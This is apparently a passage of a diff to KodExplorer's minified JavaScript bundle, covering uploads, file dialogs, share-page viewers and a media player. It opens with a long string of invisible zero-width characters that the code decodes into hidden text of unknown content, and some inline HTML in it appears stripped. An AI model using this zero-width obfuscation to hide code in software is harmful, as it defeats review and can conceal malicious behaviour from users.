‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
        '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
        ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
        ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],!i&&e.serverData.data&&(i=e.serverData.data),Tips.tips(i,!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
        '+LNG.upload_drag_tips+"
        ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
        ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}),define("app/src/share_index/fileShow",["../../common/myPlayer"],function(e){var t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,i="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(t=t.replace("index.php?","index.php/"));var a=function(){if(G.share_info!==void 0){var e=core.pathExt(G.share_info.path);G.path=htmlDecode(G.path),G.share_info.path=htmlDecode(G.share_info.path),"file"!=G.share_info.type&&(i+="&path="+urlEncode(G.path),t+="&path="+G.path),"1"==G.share_info.not_download&&(t="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),topbar.init(),c(e)}else $(".share_info").addClass("hidden")},n=function(){var e=core.pathExt(G.share_info.path),i=$(".bindary_box");i.removeClass("hidden"),i.find(".name").html(htmlEncode(G.share_info.name)),i.find(".ico").html(core.icon(e)),i.find(".btn_download").attr("href",t);var a=date("Y/m/d h:i",G.share_info.mtime);i.find(".share_time").html(a),i.find(".size span").html(G.share_info.size),$("body").addClass("can_select")},o=function(e){for(var t=[],i=0;e.length>i;i++)t[i]=e.charCodeAt(i).toString(16);return"&#"+String.fromCharCode(120)+t.join(";&#"+String.fromCharCode(120))+";"},s=function(){ace.require("ace/ext/language_tools");var e=ace.require("ace/ext/modelist");$.get(i,function(t){var i=e.getModeForPath(G.share_info.path).mode,a='
        '+o(t)+"
        ";$(".content_box").addClass("show_code").append(a);var n=ace.edit("ace_text_show");n.setTheme("ace/theme/tomorrow"),n.setReadOnly(!0),n.setShowPrintMargin(!1),n.getSession().setMode(i),n.getSession().setTabSize(4),n.getSession().setUseWrapMode(1),n.setFontSize(15)})},r=function(){e.async("lib/markdown/markdown-it.min",function(){var t=window.markdownit({html:!0,breaks:!0});$.get(i,function(i){var a=t.render(i),n=$(".content_box");n.addClass("markdown_preview can_select").append(a),n.find("a").attr("target","_blank");var o="

        [TOC]

        ";if(-1!=n.html().indexOf(o)){var s=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
      • '+$(this).text()+"
      • "}),t="
          "+t+"
        "},r=s(n),a=n.html();a=a.replace(o,r),a=a.replace(/ data-link="#(.*?)">/g,'>'),n.html(a)}e.async("lib/markdown/highlight.min",function(){$(".content_box").find("pre code").each(function(e,t){$(this).removeAttr("class"),hljs.highlightBlock(t)})}),e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(n[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),n.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e='
        '+e+"
        ",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof callback&&callback()})})})},l=function(){var t=G.app_host+i,a=e("../../common/myPlayer");a.play([t],core.pathExt(G.share_info.path))},c=function(e){if("md"==e)return r(),void 0;if("swf"==e){var t=core.createFlash(htmlEncode(i),"");return $(".content_box").addClass("show_swf").append(t),void 0}if(inArray(core.filetype.image,e)){var t='';return $(".content_box").addClass("show_image").append(t),void 0}if(inArray(core.filetype.movie,e)||inArray(core.filetype.music,e))return l(),void 0;if(inArray(core.filetype.doc,e)||"pdf"==e){var a=G.share_info.path;"file"!=G.share_info.type&&(a=G.path);var o=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+a,t='';return $(".frame-main").addClass("office_page").append(t),$(".content_box").addClass("hidden"),void 0}return inArray(core.filetype.text,e)?(s(),void 0):(n(),void 0)};return{init:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==a&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e,t){t&&"music"!=t||(t=core.pathExt(e));var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},a=i[t],n={extType:a,title:core.pathThis(urlDecode(e)),url:e,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e,n},c=function(e,t){if(t){var i=e.parents(".jPlayer"),a={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,a)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(t.title)},100)}},d=function(e,t){var i=s(t),n=r(i),d=l(e[0],t);n||(n=o(i),i==a&&p.init()),i==a&&(d=p.insert(n,e,t)),c(n,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,a="circle",n=function(a,n){i=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r]){c=!0;break}if(c){if(r==n.length-1)return t!=d&&o(d),!1}else{var p=core.pathExt(n[r]);inArray(core.filetype.music,p)&&e.push(l(n[r],p))}}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,t=a;var n=e[a];c(i,n),u(!1)},s=function(i){switch(a){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],a=i.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){t=0,e=[],a="circle";var i=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var t=n[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),a=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(a){var n=$(i).parents(".jPlayer");if(a){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(n.find(".item-title").html(e[t].title),n.find(".item").removeClass("this"),n.find(".item:eq("+t+")").addClass("this"),f(n.find(".player-bg")),void 0):(t=0,n.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+t+", "+i+"); background-image: -moz-linear-gradient("+a+", "+t+", "+i+"); background-image: -o-linear-gradient("+a+", "+t+", "+i+"); background-image: -ms-linear-gradient("+a+", "+t+", "+i+"); background-image: linear-gradient("+a+", "+t+", "+i+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a,o){var r=s(o);r==n?e.async(["lib/jPlayer/kod.flat/movie.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){t=e,d(a,o)}):e.async(["lib/jPlayer/kod.flat/music.html","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(e){i=e,d(a,o)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}); \ No newline at end of file diff --git a/static/js/app/src/user/main.js b/static/js/app/src/user/main.js index 1acfd9e..88edf6c 100755 --- a/static/js/app/src/user/main.js +++ b/static/js/app/src/user/main.js @@ -1,3 +1,3 @@ -/*! power by kodexplorer ver3.35(2016-12-23) [build 1482476909174] */ 